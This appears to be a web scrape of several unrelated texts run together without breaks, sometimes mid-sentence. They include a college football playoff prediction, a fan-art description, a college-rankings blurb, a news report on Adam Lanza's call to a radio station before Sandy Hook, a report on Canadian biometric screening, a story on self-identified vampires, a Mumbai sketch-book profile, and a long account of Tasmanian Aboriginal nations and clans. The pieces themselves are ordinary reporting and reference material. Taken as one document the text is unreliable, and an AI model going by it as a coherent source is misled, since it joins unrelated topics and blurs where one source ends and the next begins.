Why not Oklahoma (7-1)? Yes, the Sooners had a spectacular victory at Ohio Stadium earlier this year. However, with games against Oklahoma State, TCU and West Virginia coming up, we can't see Oklahoma winning all of them. If it does, it will have a great argument, but that's not going to happen.
The Clemson Tigers, who have been to the national championship game each of the last two years, should make the Final Four again this year. The Tigers had a head-slapping loss at Syracuse earlier in the year, but that is likely to be head coach Dabo Swinney's only loss this year. Swinney knows how to prepare his team for the limelight, and the Tigers will not lose another.
Neither will Notre Dame, which seems to get stronger every week. The Fighting Irish dropped a 20-19 decision to Georgia earlier in the year, but they have rolled over Michigan State, USC and NC State. Notre Dame's rushing attack may be the best in the nation.
Georgia, Wisconsin and Miami may be undefeated and are very good-to-excellent teams. However, they will lose their undefeated status and won't make the Final Four.
Alabama, Ohio State, Clemson and Notre Dame will make up the four teams left standing when the championship is to be decided.Commission for In the line of superheroes and super-villains I've been posting here lately, here you have a Vinyl Scratch version of Cyclops from the comic series " Sonata du Octave " written by Fernin. Vinchenza “” Scratch is always ready for the next thrill, be it DJing for an illegal underground rave or turning her crippling handicap into a powerful crime-fighting weapon. That is, when she isn't getting her plot handed to herself by Doctor Octave This one was a lot of fun to work on, as I try my best to improve the way I draw with grey scales and a limited color palette. There is a lot of fun on working on superhero pictures, as I've always wanted to do my own superhero stories and illustrations, so doing these is turning into a treat in and on itself. Expect one more coming in the current set!Art by James CorckSince 2005, the Washington Monthly has released an annual College Guide and rankings, where we rate schools based on what they are doing for the country. It’s our answer to U.S News & World Report, which relies on crude and easily manipulated measures of wealth, exclusivity, and prestige to evaluate schools.
We rate schools based on their contribution to the public good in three broad categories: Social Mobility (recruiting and graduating low-income students), Research (producing cutting-edge scholarship and PhDs), and Service (encouraging students to give something back to their country). We also offer our “Best Bang for the Buck” rankings – our exclusive list of schools that help non-wealthy students attain marketable degrees at affordable prices. This year, we are also debuting the nation’s first-ever ranking of the best colleges for adult learners. More rankings information, including methodologies, can be found here.
Click the cover to read our 2016 College Guide issue online. You can also read last year’s issue. And be sure to check out our book, The Other College Guide.
We are deeply grateful to the Lumina Foundation, The Kresge Foundation, and the Bill & Melinda Gates Foundation for their support.The soft-spoken caller to an Oregon station was obsessed with a chimp that had gone on a rampage and ripped off a woman's face.
"The Daily News" says it obtained a tape of a call by Adam Lanza to a college radio station one year before he opened fire Dec. 14, 2012, at the Sandy Hook Elementary school in Newtown, Conn., killing 26 people. (Photo: The Daily News) Story Highlights Lanza killed 26 people at Sandy Hook Elementary School in December 2012
The purported call by Lanza to an Oregon radio station lasted more than 7 minutes
Call was made one year before Newtown, Conn., massacre
A year before the Sandy Hook school massacre, Adam Lanza, the shooter, apparently called in to an Oregon college radio station to talk about a chimpanzee that had gone on a rampage in Connecticut, comparing the animal to "a teenage mall shooter."
The (New York) Daily News obtained the audio and said in an exclusive report that the voice of the caller, who identified himself as Greg, had been identified by two old friends as that of Lanza.
The newspaper said evidence found by state police at Lanza's home after the school shooting also strongly indicates Lanza had called the radio station the year before.
The purported call by Lanza lasted more than seven minutes, his voice very soft-spoken and almost robotic.
He appeared to be obsessed with the 2009 case of a chimpanzee in Connecticut named Travis that had gone berserk and ripped the face off a friend of the chimp's owner before being shot dead by police.
The caller spoke with John Zerzan, host of Anarchy Radio on KWVA-FM, the campus radio station at the University of Oregon, in Eugene.
"His attack can be seen entirely parallel to the attacks and random acts of violence that you bring up on your show every week, committed by humans, which the mainstream also has no explanation," Lanza said of Travis.
"I just... don't think it would be such a stretch to say that he very well could have been a teenage mall shooter or something like that."
Travis, a chimpanzee, is shown with his owner, Sandra Herold, in Stamford, Conn., in 1998. In 2009, the chimp attacked a friend of Herold's, ripping her face off. (Photo: Paul Desmarais, The Stamford Advocate, via AP)
The call was made on Dec. 11, 2011, almost exactly one year before the 20-year-old Lanza went on a shooting spree at the Sandy Hook Elementary School in Newtown, Conn., killing 26 people, including 20 children.
Lanza, who had shot and killed his mother that morning, committed suicide in the school as police closed in.
Zerzan told The News that he remembers the call to his program, noting that the speaker "seemed kind of robotic... but what he was saying made sense."
The News said Kyle Kromberg, who attended classes with Lanza at Newtown High School, recognized his taped voice instantly.
The Daily News also reported that Lanza, apparently using the name Smiggles, posted a link to his appearance on the radio show and wrote the next day that it "didn't go as horribly as anticipated."
"I wish that I hadn't spoken non-stop about Travis for so long, but I didn't want to seem crazy by randomly bringing up a chimpanzee for unknown reasons," Smiggles wrote on Shocked Beyond Belief.
"And despite my failed attempt at having a normal voice, I at least sounded less incoherent than usual," Smiggles added. "I normally speak much softer and swifter, with less articulation, less inflection and more mumbling."
Zerzan said Thursday that Lanza's call "didn't stand out at the time" and that the chimpanzee attack "didn't come to mind' as he and his co-host listened to what they considered "a very cogent analysis" of the underlying problems in contemporary American society, a longtime theme of his weekly show.
"He was pointing out the pressures in a mass society and drawing parallels" with a chimpanzee that was treated like a human, Zerzan told USA TODAY. "It was not just some raving about this or that."
He said the tragic irony is that Lanza became another notorious symbol of an increasingly violent — and disconnected — nation.
"Why is this going on almost every day? You just can't talk about it," Zerzan said. "There has to be some public dialogue, some discussion.
"We didn't used to have these freakouts where 20 people are killed, and it's stupid to blame it all on guns. We've had guns for a long time. It drives me nuts."
Zerzan points to a breakdown in community, and doesn't believe that the proliferation of social media and other digital linking has filled the gaps.
"Mass society has eradicated community," he said. "People have become unmoored; they don't have bonds.
"People are not more connected, despite the billions in ads from the IT companies," Zerzan said. "Why call it community? It's just technology. The machines are connected, not the people."
Read or Share this story: http://usat.ly/Klkbo3Canada is vastly expanding the collecting of fingerprints and digital photos from foreigners seeking to enter this country under a security crackdown aimed at broadening Ottawa's ability to catch terrorists, fraudulent immigrants and jihadis returning from battles overseas.
Sources say Prime Minister Stephen Harper will announce Thursday that Canada will start gathering biometric information from all foreign travellers entering on a visa and arriving at this country's biggest airports. This will cover the majority of foreign arrivals.
Ottawa currently collects fingerprints and photographs from travellers hailing from 29 countries, including Afghanistan, Syria and Pakistan. This new measure will expand the number of targeted countries to about 150, or every jurisdiction where citizens are obliged to obtain a visa before they visit Canada. This includes those applying for a work or study permit, as well as applicants for temporary visitor visas or permanent residency. Foreigners are charged for the cost of this biometric data gathering and the current fee is $85 per person or $170 per family.
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The Harper government is expected to frame this big increase in the scope of biometric screening as necessary because the security risks faced by Canada are greater now.
Canada is bombing Islamic State terrorists in Iraq and Syria and lending its special forces soldiers to assist Kurds trying to beat back the extremist group that seized control of significant territory in the region last year. In response, Islamic State forces have called on adherents to attack Canadians. Two soldiers in Canada were killed in October by self-professed jihadis.
Ottawa is also concerned about the threat posed by people who have travelled overseas to fight jihad and then return, having become even more radicalized and posing a threat here at home. Last fall, security officials estimated about 80 individuals have travelled abroad to participate in terrorist activity in the Middle East and North Africa and have since returned to Canada.
Mr. Harper is expected to unveil the measure at a hotel in North York in the Greater Toronto Area – a venue that falls within the riding of Eglinton-Lawrence. This seat is held by Joe Oliver, the federal Finance Minister. It's possible Mr. Oliver may face a challenge during the federal election this fall from floor-crosser Eve Adams, an MP who left the Conservatives and is seeking the Liberal nomination in Eglinton-Lawrence.
The fingerprints and photos will give Canadian authorities more tools to verify the identity of those entering the country and to detect forged passports or other documents. Applicants must allow their fingerprints and photos to be taken at overseas visa application centres, and when they arrive in Canada a Border Services officer will verify they are same people who applied for the visa.
A source said the government is concerned the existing biometric screening requirements for 29 countries are not sufficient because would-be fraudsters may be avoiding identity documents from those nations and instead trying to enter Canada through countries not already on the target list.
The biometic screening measures are also aimed at foreigners convicted of crimes in Canada who have been deported but try to return here. In 2012, Ottawa dubbed one duo convicted of armed robbery and forcible confinement the "Yo-yo bandits" because they had each been deported three times and returned.
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The Royal Canadian Mounted Police, the Canadian Border Services Agency and the Department of Citizenship and Immigration are jointly managing the screening. The government is keeping this biometric information on a database that may be shared with the RCMP and other law enforcement agencies.
The Department of Citizenship and Immigration says the biometric screening measures in place since 2013 flagged 300 individuals seeking asylum in Canada who had already claimed asylum in the United States, 750 individuals who were fingerprinted by U.S. authorities for law-enforcement reasons and almost 600 people who had "significant discrepancies in their identity information."
It also said it was able to identify about 60 per cent of those applicants who had a criminal record but who did not indicate they had been previously convicted or charged with an offence on their visa application.SALMON, Idaho (Reuters) - It is not easy being a vampire, and even harder to come out of the coffin to a physician or therapist for fear they will misinterpret the habit of ingesting the blood of willing donors or succumb to stereotyping, a study finds.
Research led by D.J. Williams, director of social work at Idaho State University, indicated that people who identify themselves as “real” vampires – that is, needing others’ blood to gain energy – would not disclose their practices to those in the helping professions and risk reactions like ridicule, disgust and possible diagnosis of a mental illness.
The paper, published in the latest issue of Critical Social Work, a peer-reviewed journal based in Canada, found that authentic vampires as opposed to “lifestyle” vampires – black-clad figures with phony fangs – might be stereotyped by clinicians whose fields discourage biases.
Williams, who has studied self-identified vampires for nearly a decade, finds they come from every walk of life and profession, including doctors, attorneys and candlestick makers.
“They are successful, ordinary people,” he said.
Except they are very, very tired. That’s apparently the chief reason they find a consenting adult willing to allow them to use a scalpel to make a tiny incision in the chest area so they can ingest a small amount of blood for energy, the study found.
Williams and another researcher based the paper on the responses of 11 people who had identified themselves as vampires for many years and could be relied on to be open and honest, and who gain permission from practicing adults before ingesting their blood, he said.
“The real vampire community seems to be a conscientious and ethical one,” Williams said.
The challenge is finding non-judgmental clinicians to whom vampires can disclose their alternative lifestyles, he added.
“Most vampires believe they were born that way; they don’t choose this,” Williams said.
The global vampire population is thought to number in the thousands, he said."I’ve lived in Mumbai my entire life. I say this like it’s a resume headliner but I think it’s important to establish my city connections. I’ve been an advertising copywriter for over 9 years now. In dog years that’s 63, and considering the working conditions in the industry I would say that’s a fairer estimate."
Cyrus-Book-Cover-Front--low-res
Compilation-2
I. Who was the very first Mumbai locals' local that you sketched?
2placehoardermumbailocal
2oldwomenmumbailocal
2staringgirlsmumbailocal
2dadaonmumbailocal
2fisherwomenfunnymumbailocal
2mumbailocalfunnypics
cannot emphasise his association with the city enough, with one of the most defined features of Mumbai being the site of his tongue-in-cheek project I Take This Train Too - The Mumbai Local locals. In all its sweating, trudging glory, the locals of Bombay transport a whopping 6.1 million daily commuters, a melting pot of people in transit. Initially kicked off for a small article, Cyrus quickly realised the sheer variety of train-travelling characters. Thus came about his 94-page book loaded with a map, catchy descriptions and 35 personalities you might encounter on a train in Mumbai. For anyone who has ever taken a Mumbai train, these sketches are instantly identifiable as you flash back to your own most recent slightly absurd incident on a local, |
and Channel Aboriginal people who had an oral history of descent from two Aboriginal women. Research found that both were non-Aboriginal convict women.
The Tasmanian Palawa Aboriginal community is making an effort to reconstruct and reintroduce a Tasmanian language, called palawa kani out of the various records on Tasmanian languages. Other Tasmanian aboriginal communities use words from traditional Tasmanian languages, according to the language area they were born or live in.
Tasmanian Aboriginal nations
Map of Tasmanian nations
The social organisation of Aboriginal Tasmanians had at least two hierarchies: the domestic unit or family group and the social unit or clan - which had a self-defining name with 40 to 50 people. It is contentious whether there was a larger political organisation, hitherto described as a "tribe" in the literature (and by colonial observers), as there is no evidence in the historical literature of larger political entities above that of the clan. Robinson, who gathered ethnographic data in the early 1800s, described aboriginal political groups at the clan level only. Nevertheless, clans that shared a geographic region and language group are now usually classified by modern ethnographers, and the Palawa, as a nation.
Estimates made of the combined population of the Aboriginal people of Tasmania, before European arrival in Tasmania, are in the range of 3,000 to 15,000 people. Genetic studies have suggested much higher figures which is supported by oral traditions that Aboriginal people were "more numerous than the white people were aware of" but that their population had been greatly reduced by a sudden outbreak of disease before 1803. It is speculated that early contacts with sealers before colonisation had resulted in an epidemic. Using archaeological evidence, Stockton (I983:68) estimated 3,000 to 6,000 for the northern half of the west coast alone, or up to six times the commonly accepted estimate, however he later revised this to 3,000 to 5,000 for the entire island, based on historical sources. The low rate of genetic drift indicates that Stockton's original maximum estimate is likely the lower boundary and, while not indicated by the archaeological record, a population as high as 100,000 can "not be rejected out of hand". This is supported by carrying capacity data indicating greater resource productivity in Tasmania than the mainland.
The Aboriginal Tasmanians were primarily nomadic people who lived in adjoining territories, moving based on seasonal changes in food supplies such as seafood, land mammals and native vegetables and berries. They socialised, intermarried and fought "wars" against other clans.
According to Ryan, the population of Tasmania was aligned into nine nations composed of six to fifteen clans each, with each clan comprising two to six extended family units who were relations. Individual clans ranged over a defined nation boundary with elaborate rites of entry required of visitors.
There were more than 60 clans before European colonisation, although only 48 have been located and associated with particular territories. The location and migratory patterns discussed below come from the work of Jones (cited in Tindale). Ryan used Jones' work in her seminal history of Tasmanian Aboriginals but Taylor discusses in his thesis how Jones' original work is uncited and possibly conjectural. Moreover, Jones published his work without recourse to Plomley's later extensive descriptions of Tasmanian Aboriginal clan groups. Given this, the clan boundaries and nomadic patterns discussed below should be taken with caution unless referenced from primary documents.
Oyster Bay (Paredarerme)
The Paredarerme was estimated to be the largest Tasmanian nation with ten clans totalling 700 to 800 people. The members of the Paredarerme nation had good relations with the Big River nation, with large congregations at favoured hunting sites inland and at the coast. Relations with the North Midlands nation were mostly hostile, and evidence suggests that the Douglas-Apsley region may have been a dangerous borderland rarely visited (Ferguson 1986 pg22). Generally, the clans of the Paredarerme ranged inland to the High Country for spring and summer and returned to the coast for autumn and winter, but not all people left their territory each year with some deciding to stay by the coast. Migrations provided a varied diet with plentiful seafood, seals and birds on the coast, and good hunting for kangaroos, wallabies and possums inland. The High Country also provided opportunities to trade for ochre with the North-west and North people, and to harvest intoxicating gum from Eucalyptus gunnii, found only on the plateau. The key determinant of camp sites was topography. The majority of camps were along river valleys, adjacent north facing hill slopes and on gentle slopes bordering a forest or marsh (Brown 1986).
Clan Territory Seasonal migration Leetermairremener St Patricks Head near St Marys Winter in the coastal areas of their own lands. Between August and October congregating around Moulting Lagoon and Schouten Island. In October they would move inland to St Pauls and Break o' Day Rivers or up the Meredith River to the Elizabeth River area.
In January, the band would move back to the coast. Linetemairrener North of Great Oyster Bay As above. Loontitetermairrelehoinner North Oyster Bay As above. Toorernomairremener Schouten Passage As above. Poredareme Little Swanport Winter in the coastal areas of their own lands. In August moving west to the Eastern Marshes, and through St Peters pass to Big River Country before returning to the coast in January. Laremairremener Grindstone Bay As above. Tyreddeme Maria Island As above. Portmairremener Prosser River As above. Pydairrerme Tasman Peninsula As above. Moomairremener Pittwater, Risdon Moomairremener tended to move inland later than other bands, leaving between September and October and returning to the coast in June.
North East
The North East nation consisted of seven clans totalling around 500 people. They had good relations with the Ben Lomond nation - granted seasonal access to the resources of the north-east coast.
Clan Territory Seasonal migration Peeberrangner Near Port Dalrymple Leenerrerter Pleemoommererway country by the Boobyalla River Region Pinterrairer Layrappenthe country at Mussel Roe. Trawlwoolway Bigt Musselroe to Cape Portland Mt William Pyemmairrenerpairrener Piper's River. Great Forester River Leenethmairrener Headwaters of the Great Musselroe River Panpekanner Between Eddystone Point and Cape Naturaliste
North
The Northern nation consisted of four clans totalling 200–300 people. Their country contained the most important ochre mines in Tasmania, accessed by well defined roads kept open by firing. They traded the ochre with nearby clanspeople. They would spend part of the year in the country of the North West nation to hunt seals and collect shells from Robbins Island for necklaces. In return, the North West nation had free access to the ochre mines Relatively isolated, the region was first explored by Europeans in 1824 with the Van Diemen's Land Company being given a grant of 250,000 acres (100,000 ha), which included the greater part of the clan hunting grounds. The settlement was a failure, with the inland areas described as "wet, cold and soggy", while the coastal region was difficult to clear, as Superintendent Henry Hellyer noted the "forest [was] altogether unlike anything I have seen in the Island". However, in 1827 a port was established at Emu Bay. In 1828 Tarerenorerer (Eng:Walyer), a woman who had escaped from sealers, became the leader of the Emu Bay people and attacked the settlers with stolen weapons, the first recorded use of muskets by Aboriginal people.
Clan Territory Seasonal migration Punnilerpanner Port Sorell Winter spent on the coast. In summer they would move inland. Pallittorre Quamby Bluff As above Noeteeler Hampshire Hills As above Plairhekehillerplue Emu Bay As above
Big River
The Big River nation numbered 400 – 500 people consisting of five clans. Little is known of their seasonal movements although it is believed that four of the five clans moved through Oyster Bay territory along the Derwent River to reach their coastal camps near Pitt Water. The Oyster Bay People had reciprocal movement rights through Big River territory.
Clan Territory Seasonal migration Leenowwenne New Norfolk Pangerninghe Clyde – Derwent Rivers Junction Braylwunyer Ouse and Dee Rivers Larmairremener West of Dee Luggermairrernerpairrer Great Lake
North Midlands
The North Midlands nation occupied the Midland plains, a major geographical area formed in a horst and graben valley which was also subject to previous major freshwater lacustrine inundation. The result being a relatively flat and fertile landscape that supported a large biomass and, thus, a major food source for the aboriginal people. The North Midlands nation is likely to have consisted of several clans but there are three accepted major clan divisions described in the ethnographic literature today. The total population of the North Midlands nation has been estimated to be between 300 and 500 and, although migratory, the archeological and historical record infers seasonal residency in locations adjacent to permanent water sources in the Midlands valley.
Boundaries of the North Midlands nation
The North Midlands nation was circumscribed by the geographical constraints of the Midlands valley. To the west the nation was bounded by the escarpment of the Great Western Tiers, to the north-east the boundaries are less certain; with the eastern Tamar appearing to have been occupied by the Letteremairrener as far east as Piper's River: where the Poremairrenerner clan of the North-east nation were resident. The occupation of the western Tamar is open to dispute - the ethnographic record suggests that it was the province of the Pallitorre and Parnillerpanner clans of the North nation; or the Leterrmairrener; or a hitherto unnamed clan of the North Midlands nation. It is likely that the west Tamar valley, or the Meander river valley formed the NNW boundaries of the North Midlands nation - with the arc of highlands formed by Cluan Tier and Dry's Bluff forming the nor-western extremity of their country. To the east the natural boundary was the South-Esk River and, running northwards, the high tier of Mts Barrow, Arthur and Tippogoree Hills: beyond which lay the North-east nation. Running south past the eastern bend of the South-Esk it appears that the North Midlands Nation held land to some extent along the south bank of the Esk, at least as far as Avoca and possibly as far as the natural boundary of the St Pauls River, beyond which the Oyster Bay nation were resident. To the south their country was constrained by the uplands beyond Tunbridge, as the plains narrow towards Big River and Oyster Bay country.
Language of the North Midlands nation
The North Midlands language is classified as "mairremenner" and was spoken by the Ben Lomond and North-east nations and also the Luggermairrenerpairer clan of the Central Highlands. This language group is likely to be a derivation of three other Tasmanian languages.
Clans of the North Midlands nation
Three major national divisions are generally ascribed to the North Midlands nation although it is llkely that more clans existed and Ryan (2012) asserts the possibility of another two clan territories. What is known of the composition of the North Midlands nation derives from settler description (who ascribed simple tribal divisions based upon locality), direct attribution from contemporary Tasmanian Aborigines (recorded by Robinson collated by Plomley) and later research by Rhys Jones. From this we can be certain that there were three major clan divisions, described by colonials as the Port Dalrymple Tribe (Leterrermairrener Clan), at the Tamar River; Pennyroyal Creek Tribe (Panninher), at Norfolk Plains; and the Stony Creek Tribe (Tyrrernotepanner), at Campbell Town.
The Letteremairrener "Port Dalrymple" Clan
The Letteremairrener (Letter-ramare-ru-nah) Clan occupied country from Low Head to modern day Launceston. In colonial times reports were made of clusters of huts, up to ten in number, in the Tamar valley and there are extensive archeological remains of occupation on both sides of the Tamar river and north coastal country.
Toponymy
Little is recorded of the toponymy of their country but some local placenames have survived and are likely to be of the "Nara" language group.
Tamar River: kunermurluker, morerutter, ponrabbel
Low Head: Pilerwaytackenter
Georgetown area: Kennemerthertackenloongentare
Launceston (Port Dalrymple): Taggener, Lorernulraytitteter
North-Esk River: Lakekeller
Mt Barrow: Pialermaligena
Significant sites
Little is known of specific sites of significance to the Letteremairrener, but modern day Palawa assert the significance of the Cataract Gorge as a place of ceremony and significance. Certainly, in 1847, when a surviving aboriginal "chief" was temporarily returned to Launceston from exile in Wybalenna, he requested to be taken to the Cataract Gorge and was described as being jubilant at return to the Gorge, followed with apparent lamentation at what had been lost to him. There are no recorded significant archeological remains in the Gorge precinct, although the area was subject to significant seasonal flooding before damming.
The Letteremairrener had been recorded to have specific meeting places at Paterson's Plains (near modern-day St Leonards) and groups as large as 150 had been recorded in colonial times in this vicinity. The Clan country overlapped with that of the Panninher and Tyrrernotepanner and it is likely that, at times, the clans shared resources across clan borders.
The Letteremairrener were among the first Tasmanian Aboriginals to be affected by the impact of colonisation by the British as colonial occupation commenced at Port Dalrymple and progressed to Launceston, with settlers progressively occupying land up the Tamar valley. By the early 1800s the Letteremairrener had been involved in skirmishes with exploratory parties of colonials, in the second decade of that century they had reached some accommodation with the interlopers; and were observed practicing spear throwing near present-day Paterson Barracks and watching colonial women wash clothes at Cataract Gorge. Between 1811 and 1827 several aboginal children were baptised in Launceston, either abducted or the progeny of settler/aboriginal liaison. By 1830 the people of the Letteremairenner had largely disappeared from their homeland and the survivors were waging a desperate guerrilla war with colonial British, living a fringe existence in Launceston or living life on the margin at the peripheries of their traditional land. By 1837 the Letteremairrenner had disappeared completely from the Tamar Valley and would eventually die in the squalor of Wybalenna or Oyster Cove.
The Panninher "Pennyroyal Creek" Clan
The Panninher (parn-in-her)were known to colonial people as the Penny Royal Creek Tribe, named eponymously from the river that comes off the Western Tiers south of Drys Bluff (which is now called the Liffey River). The Panninher named the Liffey river tellerpanger and Drys Bluff, the mountain rearing above their homeland, was taytitkekitheker. Their territory broadly covered the north plains of the midlands from the west bank of the Tamar River across to what is now Evandale and terminating at the Tyerrernotepanner country around modern day Conara.
The Panninher also freely moved from the Tamar to the central highlands and brokered trade in ochre from the Toolumbunner mine to neighbouring clans. Robinson describes the aboriginal road used by the Panninher from their home up to the Central Highlands, via the gully of the Liffey river, and the South road along the base of the Western Tiers - up the Lake River to modern day Interlaken.
Significant sites
Whilst sites of ritual significance to the Panninher are not known, the Panninher were known to frequent Native Point, on the South Esk River between modern day Perth and Evandale, where flint quarries were located and clans met for celebration. Here local historians believe that cemetery (hollowed) trees were used to inter the dead. Similarly, Reibey's Ford, near modern-day Hadspen, was a known "resort of the natives" and they named this site moorronnoe. Archaeological evidence shows also indicates signs of continuous occupation at permanent lagoons near Cleveland, which was known historically as a clan meeting place.
The Panninher were affected early by settlement around Norfolk Plains and aggressive assertion of property rights by settlers at first hindered their hunting and migration through their country and, subsequently, led to outright hostility from both parties. Captain Ritchie, an early settler near Perth, tolerated, or fostered, forays by his assigned men against the Panninher and this culminated in a massacre by settlers near modern-day Cressy. The Panninher, or their neighbouring clansmen, retaliated in various attacks against settlers at Western Lagoon and in remote country up the Lake River, reaching a peak in aggression against the colonial interlopers by 1827. In 1831 a war party of "100 or 150 stout men" attacked settlers at the base of the Western Tiers and up the Lake River but it is unclear whether this was the action of the Panninher alone or a confederation of warriors from remnant North Tasmanian nations. The colonial settlers made little discrimination between Panninher and members of the "Stony Creek Tribe" and it is likely that the North Midlands nation had disintegrated and the amalgamated band was known under the overarching name of "Stony Creek Tribe" by this time. This notwithstanding, it seems that the Panninher were resourceful enough to survive in some numbers until late in the Black War.
The Tyerrernotepanner "Stony Creek" clan
The Tyerrernotepanner (Chera-noti-pana) were known to colonial people as the Stony Creek Tribe, named eponymously from the small southern tributary of the South Esk at Llewellyn, west of modern-day Avoca.
The clan Tyerrernotepanner were centred at Campbell Town and were one of up to four clans in the south central Midlands area. Nevertheless, this clan name is now used as a general term for all aboriginal peoples of this region. The ethnographic and archaeological evidence describes areas of significance to the south central Midlands clans: modern day Lake Leake, Tooms Lake, Windfalls farm, Mt Morriston, Ross township and the lacustrine regions of the midlands all show evidence of tool knapping, middens and records of hut construction consistent with occupation.
Significant sites
Lake Leake (previously Kearney's Bogs), Campbell Town, Ellinthorpe Plains (near modern day Auburn) and Tooms Lake were described as "resorts of the natives" by settlers and showed substantial evidence of seasonal occupation. Furthermore, several small lagoons in the midlands area all show substantial archeological evidence of regular occupation consistent with tool-making and semi-nomadic use. Aboriginal roads, markenner, are described as passing up the Eastern Tiers to Swanport, up the Western Tier to Interlaken and up the Lake River to Woods Lake and thence to the Central Highlands.
The clan divisions of the southern central Midlands are suggested below. Caution must be exercised as to the provenance of the names and the complete accuracy of attributing discrete geographical regions.
tyrrernotepanner : clan at Northern Campbell Town/Lake river/ South Fingal Valley
: clan at Northern Campbell Town/Lake river/ South Fingal Valley marwemairer : clan at Ross/Mt Morriston region
: clan at Ross/Mt Morriston region peenrymairmener : clan at Glen Morriston/Lake Leake
: clan at Glen Morriston/Lake Leake rolemairre: clan at Tunbridge area
The Tyerrernotepanner are described consistently in contemporary records as a "fierce tribe" and the records describe consistent and concerted violence by the Tyerrernotepanner during the Black War. The Tyeerrernotepanner, along with clansmen from other remnant tribes, conducted raids across the midlands during the Black War and, until "conciliated" by Robinson, were the subject of fearful reminiscence by colonial people. The famed aboriginal leader Umarrah was a member of this clan and he was noted for his aggression and sustained campaign against European interlopers - although he was raised by colonials himself.
Clan Territory Seasonal migration Leterremairrener Port Dalrymple Ben Lomond Tier in summer. Panninher Norfolk Plains Tamar River in winter, Great Western Tiers in summer. Tyerrernotepanner clan group Campbell Town North Oyster Bay in winter.
Ben Lomond
The Ben Lomond nation consisted of at least three clans totalling 150–200 people. They occupied the 260 km2 of country surrounding the Ben Lomond plateau. Three clan names are known but their locations are somewhat conjectural - the clans were recorded as Plangermaireener, Plindermairhemener and Tonenerweenerlarmenne.
The Plangermaireener clan is recorded as variously inhabiting the south-east aspect of the Ben Lomond region and also has been associated with the Oyster Bay or Cape Portland Clans to the east - indeed the chief Mannalargenna is variously described as a chief of the Oyster Bay, Cape Portland and Ben Lomond nations. Plangermaireener is also used as a blanket term for the Ben Lomond nation, which reflects the suffix "mairreener"; meaning "people".
The Plindermairhemener are recorded in association with the south and south-western aspects of the region and the location of the Tonenerweenerlarmenne is uncertain, but were probably centred in the remaining Ben Lomond nation territory from White Hills to the headwaters of the North and South-Esk rivers or the upper South-Esk Valley. This notwithstanding, the Palawa were a nomadic people and likely occupied these lands seasonally.
The Ben Lomond nation is sometimes described as the Ben Lomond/Pennyroyal Creek nation from an entry in Robinson's journal: '(Mannalargenna)... said that "the smoke...was that of the Ben Lomond-Pennyroyal Creek natives"'
This is a misnomer, as the Pennyroyal Creek was the original European name for the Liffey River and the Pennyroyal Creek Tribe was the contemporary name of the Panninher Clan of the North Midlands nation. Mannalargenna would be familiar with the clans neighbouring his own traditional country and could be relied upon to report accurately the composition of the clanspeople in question. It is plausible that when Robinson was writing in 1830 the remnant peoples of the Ben Lomond nation had federated with that of the Panninher and this was the provenance of the conjoined title.
Seasonal movement
The clans of the Ben Lomond nation were nomadic and the Aborigines hunted along the valleys of the South Esk and North Esk rivers, their tributaries and the highlands to the northeast; as well as making forays to the plateau in summer. There are records of aboriginal huts or dwellings around the foothills of Stacks Bluff and around the headwaters of the South Esk River near modern-day Mathinna. On the plateau there is evidence of artifacts around Lake Youl that suggests regular occupation of this site by aborigines after the last ice age. The clans of the Ben Lomond nation had close enough relationships with neighbouring clans of the East Coast and North Midlands that they enjoyed seasonal foraging rights to these adjoining territories. John Batman describes the seasonal movement of the Plangermaireener in his diary of May 1830:
"...the tribe travels around Ben Lomond from South Esk to North Esk - and from thence to St. Patricks Head - Georges Bay and round the East Coast"
Batman further describes the relationship between the clans of the Ben Lomond nation and the North East nation:
"...there is (sic) two tribes... they (the 'chiefs' ) are upon friendly terms and often stop and meet and talk 10 days together..."
Clan Territory Seasonal migration Plangermaireener SE of Ben Lomond Plateau, St Mary's Plains probable close relations with Oyster Bay nation Plindermairhemener S-SW of Ben Lomond Plateau reciprocal rights with Leterremairener Tonenerweenerlarmenne probably upper South Esk valley conjectural
North West
The North West nation numbered between 400 and 600 people at time of contact with Europeans and had at least eight clans. They had good relations with the North nation, who were allowed access to the resources of the north-west coast. First explored by Europeans in 1824, the region was considered inhospitable and only lightly settled, although it suffered a high rate of Aboriginal dispossession and killings.
South West Coast
South East
Risdon Cove, the first Tasmanian settlement, was located in south-east country. There is eyewitness evidence that the South East nation may have consisted of up to ten clans, totalling around 500 people. However, only four groups totalling 160–200 people were officially recorded as the main source by Robinson, whose journals begin in 1829. By this time, Europeans had settled in most of the South East tribe's country, with the country dispossessed and food resources depleted. Their country contained the most important silcrete, chert and quartzite mines in Tasmania. The South East people had a hostile relationship with the Oyster Bay people whom they frequently raided, often to kidnap women. Truganini was a Nuenonne from Bruny Island, which they called Lunawanna-Alonnah. The first two European towns built on the island were named Lunawanna and Alonnah, and most of the island's landmarks are named after Nuenonne people. The island was the source of the sandstone used to build many of Melbourne's buildings, such as the Post Office and Parliament House.[107]
Tasmanian Aboriginal culture
Tasmanian aboriginal culture is one of the world's most enduring. Aboriginal culture was disrupted severely in the 19th century after dispossession of land and incarceration of aboriginal people on Wybalenna and Oyster Cove. Much traditional knowledge has irrevocably disappeared and what remains has been nurtured over several generations starting with the aboriginal wives of sealers on the Furneaux Islands.
But, as the aboriginal writer Greg Lehman states, "aboriginal culture (is not) past tense." Aboriginal people, in a variety of forms, continue to express their culture in unique ways - expressing themes that lament the past but also celebrate endurance and continuity of culture into the future.
Contemporary accounts of the ceremonial and cultural life of the Tasmanian Aboriginal people are very limited. There were no observers trained in the social sciences after the French expeditions in the 18th century had made formal study of Tasmanian Aboriginal culture. Moreover, those who wrote most comprehensively of aboriginal life in the 19th century did so after colonial contact, and the ensuing violence and dislocation, had irrevocably altered traditional aboriginal culture. Those that most closely observed aboriginal cultural practices either did not write accounts of what they observed or, if they did, observed culture through the ethnocentric lens of religious and proselytising 19th century European men.
Mythology
The mythology of the Aboriginal Tasmanians appears to be complex and possibly specific to each clan group. One of their creation myths refers to two creator deities, Moinee and Droemerdene; the children of Parnuen, the sun, and Vena, the moon.
Moinee appears as the primeval creator, forming the land and rivers of Tasmania and fashioning the first man, Parlevar - embodied from a spirit residing in the ground. This form was similar to a kangaroo and Aboriginal people consequently take the kangaroo as a totem. Similarly, Moinee then created the kangaroo, who emerged, like the first man, from the soil.
Droemerdene appears as the star Canopus who helped the first men to change from their kangaroo-like form. He removed their tails and fashioned their knee joints "so that they could rest" and thus man achieved differentiation form the kangaroo.
Moinee fought with his brother Droemerdene, and many "devils", after Droemerdene changed the shape of the first men and Moinee was finally hurled to his death from the sky to take form as a standing stone at Cox Bight. Droemerdene subsequently fell into the sea at Louisa Bay. Toogee Low (Port Davey) remained in mythology as a residence of many "devils".
